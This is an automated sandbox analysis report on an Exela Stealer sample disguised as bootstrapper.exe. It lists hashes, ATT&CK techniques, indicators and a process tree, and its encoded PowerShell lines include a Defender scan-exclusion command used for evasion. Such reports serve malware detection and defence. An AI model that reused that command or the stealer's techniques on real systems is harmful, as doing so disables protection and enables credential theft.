exelastealer | 8a7e99e5de95407e2a7c2a373772882191804e335bf10997c9a7b59155efc5f2

Resubmissions

29-08-2024 11:22

240829-ngqgqs1amm 10

29-08-2024 11:20

240829-nfjb2azhrp 10

Analysis

max time kernel
79s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
29-08-2024 11:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bootstrapper.exe
Size

11.7MB
MD5

482834c632c49ca2c7168e0d087ca565
SHA1

c31a1ddf1912e563129e9d2ad4f31757cbcd8c27
SHA256

d2e51f367d34d1eb27a140f3cba9c6744004348434292d7fbcda2aaa954aafb7
SHA512

26f92521ec240a42ac7e2ad04f0a8698d2ba173b265f62310be8fd50c85a9c84a419b14797f8b896b84ccfd730814d82165b10871bf9efc0fad9a905f8cbc1ae
SSDEEP

196608:CnaMj974J5vQOjOnNCQc/71U2tMzQMamlN0dBMhQyZGe6twCLXc72/84feFheb:Oj14vQJlcJU2OzZamlNMehQyAZXcq/8m

Score

10^/10

exelastealer collection credential_access defense_evasion discovery evasion persistence privilege_escalation pyinstaller spyware stealer upx

Malware Config

Signatures

Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
stealer exelastealer
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1328	netsh.exe
2732	netsh.exe
5312	netsh.exe
2916	netsh.exe

Clipboard Data 1 TTPs 4 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5328	cmd.exe
5040	powershell.exe
5532	cmd.exe
1196	powershell.exe

Executes dropped EXE 28 IoCs

pid	Process
3292	Exela.exe
3548	Exela.exe
3388	Exela.exe
2088	Exela.exe
1448	Exela.exe
3972	Exela.exe
5128	Exela.exe
4484	Exela.exe
1588	Exela.exe
4332	Exela.exe
6132	Exela.exe
2472	Exela.exe
3076	Exela.exe
1776	Exela.exe
3144	Exela.exe
5344	Exela.exe
3076	Exela.exe
4968	Exela.exe
5784	Exela.exe
5572	Exela.exe
3464	Exela.exe
4792	Exela.exe
2500	Exela.exe
3160	Exela.exe
4740	Exela.exe
5340	Exela.exe
4988	Exela.exe
1896	Exela.exe

Loads dropped DLL 64 IoCs

pid	Process
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
3548	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
2088	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe
3972	Exela.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000100000002ab2c-79.dat	upx
behavioral1/memory/3548-114-0x00007FFA19480000-0x00007FFA194A4000-memory.dmp	upx
behavioral1/files/0x000100000002ab2d-116.dat	upx
behavioral1/memory/3548-132-0x00007FFA024C0000-0x00007FFA02578000-memory.dmp	upx
behavioral1/memory/3548-131-0x00007FFA02580000-0x00007FFA028F5000-memory.dmp	upx
behavioral1/memory/3548-130-0x00007FFA144F0000-0x00007FFA1451E000-memory.dmp	upx
behavioral1/memory/3548-129-0x00007FFA14790000-0x00007FFA147B3000-memory.dmp	upx
behavioral1/files/0x000100000002ab27-128.dat	upx
behavioral1/memory/3548-127-0x00007FFA02900000-0x00007FFA02A73000-memory.dmp	upx
behavioral1/files/0x000100000002ab25-126.dat	upx
behavioral1/files/0x000100000002ab0d-125.dat	upx
behavioral1/memory/3548-124-0x00007FFA154B0000-0x00007FFA154DD000-memory.dmp	upx
behavioral1/files/0x000100000002ab2e-123.dat	upx
behavioral1/files/0x000100000002ab0c-122.dat	upx
behavioral1/memory/3548-121-0x00007FFA189E0000-0x00007FFA189F9000-memory.dmp	upx
behavioral1/memory/3548-120-0x00007FFA18C70000-0x00007FFA18C7D000-memory.dmp	upx
behavioral1/memory/3548-119-0x00007FFA18C80000-0x00007FFA18C99000-memory.dmp	upx
behavioral1/files/0x000100000002ab07-118.dat	upx
behavioral1/files/0x000100000002ab02-117.dat	upx
behavioral1/files/0x000100000002ab0b-115.dat	upx
behavioral1/files/0x000100000002ab0e-113.dat	upx
behavioral1/files/0x000100000002ab0a-109.dat	upx
behavioral1/files/0x000100000002ab09-108.dat	upx
behavioral1/files/0x000100000002ab08-107.dat	upx
behavioral1/files/0x000100000002ab06-105.dat	upx
behavioral1/files/0x000100000002ab05-104.dat	upx
behavioral1/memory/3548-154-0x00007FFA10A50000-0x00007FFA10A72000-memory.dmp	upx
behavioral1/memory/3548-153-0x00007FFA023A0000-0x00007FFA024BC000-memory.dmp	upx
behavioral1/memory/3548-152-0x00007FFA144D0000-0x00007FFA144E4000-memory.dmp	upx
behavioral1/memory/3548-151-0x00007FFA146B0000-0x00007FFA146C4000-memory.dmp	upx
behavioral1/memory/3548-150-0x00007FFA14770000-0x00007FFA14782000-memory.dmp	upx
behavioral1/files/0x000100000002ab24-158.dat	upx
behavioral1/memory/3548-149-0x00007FFA156B0000-0x00007FFA156C5000-memory.dmp	upx
behavioral1/files/0x000100000002ab31-145.dat	upx
behavioral1/files/0x000100000002ab2f-143.dat	upx
behavioral1/files/0x000100000002ab29-141.dat	upx
behavioral1/files/0x000100000002ab01-138.dat	upx
behavioral1/files/0x000100000002ab03-103.dat	upx
behavioral1/memory/3548-159-0x00007FFA018B0000-0x00007FFA02051000-memory.dmp	upx
behavioral1/files/0x000100000002ab2a-97.dat	upx
behavioral1/memory/3548-93-0x00007FFA1E180000-0x00007FFA1E18F000-memory.dmp	upx
behavioral1/memory/3548-92-0x00007FFA02A80000-0x00007FFA03068000-memory.dmp	upx
behavioral1/files/0x000100000002ab26-91.dat	upx
behavioral1/files/0x000100000002ab04-89.dat	upx
behavioral1/memory/3548-165-0x00007FFA147C0000-0x00007FFA147F6000-memory.dmp	upx
behavioral1/memory/3548-160-0x00007FFA18C60000-0x00007FFA18C6A000-memory.dmp	upx
behavioral1/memory/3548-175-0x00007FFA02A80000-0x00007FFA03068000-memory.dmp	upx
behavioral1/memory/3548-190-0x00007FFA19480000-0x00007FFA194A4000-memory.dmp	upx
behavioral1/memory/2088-245-0x00007FFA00EA0000-0x00007FFA01488000-memory.dmp	upx
behavioral1/memory/3548-238-0x00007FFA18C80000-0x00007FFA18C99000-memory.dmp	upx
behavioral1/memory/2088-263-0x00007FFA00E60000-0x00007FFA00E79000-memory.dmp	upx
behavioral1/memory/2088-262-0x00007FFA00C80000-0x00007FFA00DF3000-memory.dmp	upx
behavioral1/memory/2088-268-0x00007FFA00810000-0x00007FFA008C8000-memory.dmp	upx
behavioral1/memory/2088-269-0x00007FFA007F0000-0x00007FFA00805000-memory.dmp	upx
behavioral1/memory/2088-272-0x00007FFA00790000-0x00007FFA007A4000-memory.dmp	upx
behavioral1/memory/2088-275-0x00007FFA00EA0000-0x00007FFA01488000-memory.dmp	upx
behavioral1/memory/2088-274-0x00007FFA00640000-0x00007FFA00662000-memory.dmp	upx
behavioral1/memory/2088-273-0x00007FFA00670000-0x00007FFA0078C000-memory.dmp	upx
behavioral1/memory/2088-271-0x00007FFA007B0000-0x00007FFA007C4000-memory.dmp	upx
behavioral1/memory/2088-270-0x00007FFA007D0000-0x00007FFA007E2000-memory.dmp	upx
behavioral1/memory/2088-267-0x00007FFA008D0000-0x00007FFA00C45000-memory.dmp	upx
behavioral1/memory/2088-266-0x00007FFA00C50000-0x00007FFA00C7E000-memory.dmp	upx
behavioral1/memory/2088-261-0x00007FFA00E00000-0x00007FFA00E23000-memory.dmp	upx
behavioral1/memory/2088-260-0x00007FFA00E30000-0x00007FFA00E5D000-memory.dmp	upx

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	ip-api.com
3	ip-api.com

Network Service Discovery 1 TTPs 4 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
5828	cmd.exe
5396	ARP.EXE
2504	cmd.exe
1964	ARP.EXE

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 10 IoCs

discovery

Process Discovery

T1057

pid	Process
344	tasklist.exe
5024	tasklist.exe
2504	tasklist.exe
5936	tasklist.exe
2896	tasklist.exe
4384	tasklist.exe
1204	tasklist.exe
3828	tasklist.exe
3508	tasklist.exe
5240	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4164	cmd.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe
File created	C:\Windows\Exela.exe	Bootstrapper.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
764	sc.exe
1312	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000100000002aafe-27.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 44 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
612	cmd.exe
332	netsh.exe
2068	cmd.exe
3996	netsh.exe

System Network Connections Discovery 1 TTPs 2 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
4852	NETSTAT.EXE
2200	NETSTAT.EXE

Collects information from the system 1 TTPs 2 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
1856	WMIC.exe
3452	WMIC.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3704	WMIC.exe
1616	WMIC.exe

Gathers network information 2 TTPs 4 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3232	ipconfig.exe
4852	NETSTAT.EXE
3344	ipconfig.exe
2200	NETSTAT.EXE

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5448	systeminfo.exe
4960	systeminfo.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5736	schtasks.exe
5364	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6040	powershell.exe
6040	powershell.exe
832	powershell.exe
716	powershell.exe
716	powershell.exe
832	powershell.exe
832	powershell.exe
716	powershell.exe
3224	powershell.exe
3224	powershell.exe
3928	powershell.exe
3928	powershell.exe
3224	powershell.exe
3928	powershell.exe
724	powershell.exe
724	powershell.exe
724	powershell.exe
420	powershell.exe
420	powershell.exe
420	powershell.exe
5040	powershell.exe
5040	powershell.exe
5040	powershell.exe
2908	powershell.exe
2908	powershell.exe
2908	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
2380	powershell.exe
2380	powershell.exe
3052	powershell.exe
3052	powershell.exe
2380	powershell.exe
3052	powershell.exe
3236	powershell.exe
3236	powershell.exe
3236	powershell.exe
2940	powershell.exe
2940	powershell.exe
2940	powershell.exe
5472	powershell.exe
5472	powershell.exe
5472	powershell.exe
3664	powershell.exe
3664	powershell.exe
3664	powershell.exe
1852	powershell.exe
1852	powershell.exe
1852	powershell.exe
3488	powershell.exe
3488	powershell.exe
3488	powershell.exe
2044	powershell.exe
2044	powershell.exe
3956	powershell.exe
3956	powershell.exe
2044	powershell.exe
3956	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
3832	powershell.exe
3832	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6040	powershell.exe
Token: SeDebugPrivilege	832	powershell.exe
Token: SeDebugPrivilege	716	powershell.exe
Token: SeIncreaseQuotaPrivilege	2132	WMIC.exe
Token: SeSecurityPrivilege	2132	WMIC.exe
Token: SeTakeOwnershipPrivilege	2132	WMIC.exe
Token: SeLoadDriverPrivilege	2132	WMIC.exe
Token: SeSystemProfilePrivilege	2132	WMIC.exe
Token: SeSystemtimePrivilege	2132	WMIC.exe
Token: SeProfSingleProcessPrivilege	2132	WMIC.exe
Token: SeIncBasePriorityPrivilege	2132	WMIC.exe
Token: SeCreatePagefilePrivilege	2132	WMIC.exe
Token: SeBackupPrivilege	2132	WMIC.exe
Token: SeRestorePrivilege	2132	WMIC.exe
Token: SeShutdownPrivilege	2132	WMIC.exe
Token: SeDebugPrivilege	2132	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2132	WMIC.exe
Token: SeRemoteShutdownPrivilege	2132	WMIC.exe
Token: SeUndockPrivilege	2132	WMIC.exe
Token: SeManageVolumePrivilege	2132	WMIC.exe
Token: 33	2132	WMIC.exe
Token: 34	2132	WMIC.exe
Token: 35	2132	WMIC.exe
Token: 36	2132	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3704	WMIC.exe
Token: SeSecurityPrivilege	3704	WMIC.exe
Token: SeTakeOwnershipPrivilege	3704	WMIC.exe
Token: SeLoadDriverPrivilege	3704	WMIC.exe
Token: SeSystemProfilePrivilege	3704	WMIC.exe
Token: SeSystemtimePrivilege	3704	WMIC.exe
Token: SeProfSingleProcessPrivilege	3704	WMIC.exe
Token: SeIncBasePriorityPrivilege	3704	WMIC.exe
Token: SeCreatePagefilePrivilege	3704	WMIC.exe
Token: SeBackupPrivilege	3704	WMIC.exe
Token: SeRestorePrivilege	3704	WMIC.exe
Token: SeShutdownPrivilege	3704	WMIC.exe
Token: SeDebugPrivilege	3704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3704	WMIC.exe
Token: SeRemoteShutdownPrivilege	3704	WMIC.exe
Token: SeUndockPrivilege	3704	WMIC.exe
Token: SeManageVolumePrivilege	3704	WMIC.exe
Token: 33	3704	WMIC.exe
Token: 34	3704	WMIC.exe
Token: 35	3704	WMIC.exe
Token: 36	3704	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2132	WMIC.exe
Token: SeSecurityPrivilege	2132	WMIC.exe
Token: SeTakeOwnershipPrivilege	2132	WMIC.exe
Token: SeLoadDriverPrivilege	2132	WMIC.exe
Token: SeSystemProfilePrivilege	2132	WMIC.exe
Token: SeSystemtimePrivilege	2132	WMIC.exe
Token: SeProfSingleProcessPrivilege	2132	WMIC.exe
Token: SeIncBasePriorityPrivilege	2132	WMIC.exe
Token: SeCreatePagefilePrivilege	2132	WMIC.exe
Token: SeBackupPrivilege	2132	WMIC.exe
Token: SeRestorePrivilege	2132	WMIC.exe
Token: SeShutdownPrivilege	2132	WMIC.exe
Token: SeDebugPrivilege	2132	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2132	WMIC.exe
Token: SeRemoteShutdownPrivilege	2132	WMIC.exe
Token: SeUndockPrivilege	2132	WMIC.exe
Token: SeManageVolumePrivilege	2132	WMIC.exe
Token: 33	2132	WMIC.exe
Token: 34	2132	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2832 wrote to memory of 6040	2832	bootstrapper.exe	81
PID 2832 wrote to memory of 6040	2832	bootstrapper.exe	81
PID 2832 wrote to memory of 6040	2832	bootstrapper.exe	81
PID 2832 wrote to memory of 832	2832	bootstrapper.exe	86
PID 2832 wrote to memory of 832	2832	bootstrapper.exe	86
PID 2832 wrote to memory of 832	2832	bootstrapper.exe	86
PID 2832 wrote to memory of 3292	2832	bootstrapper.exe	88
PID 2832 wrote to memory of 3292	2832	bootstrapper.exe	88
PID 2832 wrote to memory of 3512	2832	bootstrapper.exe	89
PID 2832 wrote to memory of 3512	2832	bootstrapper.exe	89
PID 2832 wrote to memory of 3512	2832	bootstrapper.exe	89
PID 3292 wrote to memory of 3548	3292	Exela.exe	90
PID 3292 wrote to memory of 3548	3292	Exela.exe	90
PID 3512 wrote to memory of 716	3512	Bootstrapper.exe	91
PID 3512 wrote to memory of 716	3512	Bootstrapper.exe	91
PID 3512 wrote to memory of 716	3512	Bootstrapper.exe	91
PID 3548 wrote to memory of 2920	3548	Exela.exe	93
PID 3548 wrote to memory of 2920	3548	Exela.exe	93
PID 3548 wrote to memory of 4028	3548	Exela.exe	94
PID 3548 wrote to memory of 4028	3548	Exela.exe	94
PID 3548 wrote to memory of 4164	3548	Exela.exe	125
PID 3548 wrote to memory of 4164	3548	Exela.exe	125
PID 2920 wrote to memory of 3704	2920	cmd.exe	100
PID 2920 wrote to memory of 3704	2920	cmd.exe	100
PID 4028 wrote to memory of 2132	4028	cmd.exe	189
PID 4028 wrote to memory of 2132	4028	cmd.exe	189
PID 3548 wrote to memory of 5472	3548	Exela.exe	102
PID 3548 wrote to memory of 5472	3548	Exela.exe	102
PID 3548 wrote to memory of 5312	3548	Exela.exe	103
PID 3548 wrote to memory of 5312	3548	Exela.exe	103
PID 5312 wrote to memory of 344	5312	cmd.exe	106
PID 5312 wrote to memory of 344	5312	cmd.exe	106
PID 3548 wrote to memory of 5096	3548	Exela.exe	109
PID 3548 wrote to memory of 5096	3548	Exela.exe	109
PID 5096 wrote to memory of 4596	5096	cmd.exe	111
PID 5096 wrote to memory of 4596	5096	cmd.exe	111
PID 3548 wrote to memory of 5872	3548	Exela.exe	112
PID 3548 wrote to memory of 5872	3548	Exela.exe	112
PID 3548 wrote to memory of 2812	3548	Exela.exe	113
PID 3548 wrote to memory of 2812	3548	Exela.exe	113
PID 5872 wrote to memory of 4852	5872	cmd.exe	203
PID 5872 wrote to memory of 4852	5872	cmd.exe	203
PID 2812 wrote to memory of 4384	2812	cmd.exe	117
PID 2812 wrote to memory of 4384	2812	cmd.exe	117
PID 3512 wrote to memory of 3224	3512	Bootstrapper.exe	118
PID 3512 wrote to memory of 3224	3512	Bootstrapper.exe	118
PID 3512 wrote to memory of 3224	3512	Bootstrapper.exe	118
PID 3512 wrote to memory of 3388	3512	Bootstrapper.exe	120
PID 3512 wrote to memory of 3388	3512	Bootstrapper.exe	120
PID 3512 wrote to memory of 4892	3512	Bootstrapper.exe	121
PID 3512 wrote to memory of 4892	3512	Bootstrapper.exe	121
PID 3512 wrote to memory of 4892	3512	Bootstrapper.exe	121
PID 3388 wrote to memory of 2088	3388	Exela.exe	175
PID 3388 wrote to memory of 2088	3388	Exela.exe	175
PID 4892 wrote to memory of 3928	4892	Bootstrapper.exe	123
PID 4892 wrote to memory of 3928	4892	Bootstrapper.exe	123
PID 4892 wrote to memory of 3928	4892	Bootstrapper.exe	123
PID 3548 wrote to memory of 4164	3548	Exela.exe	125
PID 3548 wrote to memory of 4164	3548	Exela.exe	125
PID 4164 wrote to memory of 4072	4164	cmd.exe	127
PID 4164 wrote to memory of 4072	4164	cmd.exe	127
PID 3548 wrote to memory of 4432	3548	Exela.exe	162
PID 3548 wrote to memory of 4432	3548	Exela.exe	162
PID 4432 wrote to memory of 5208	4432	cmd.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4072	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\bootstrapper.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:832
- C:\Windows\Exela.exe
  "C:\Windows\Exela.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\Exela.exe
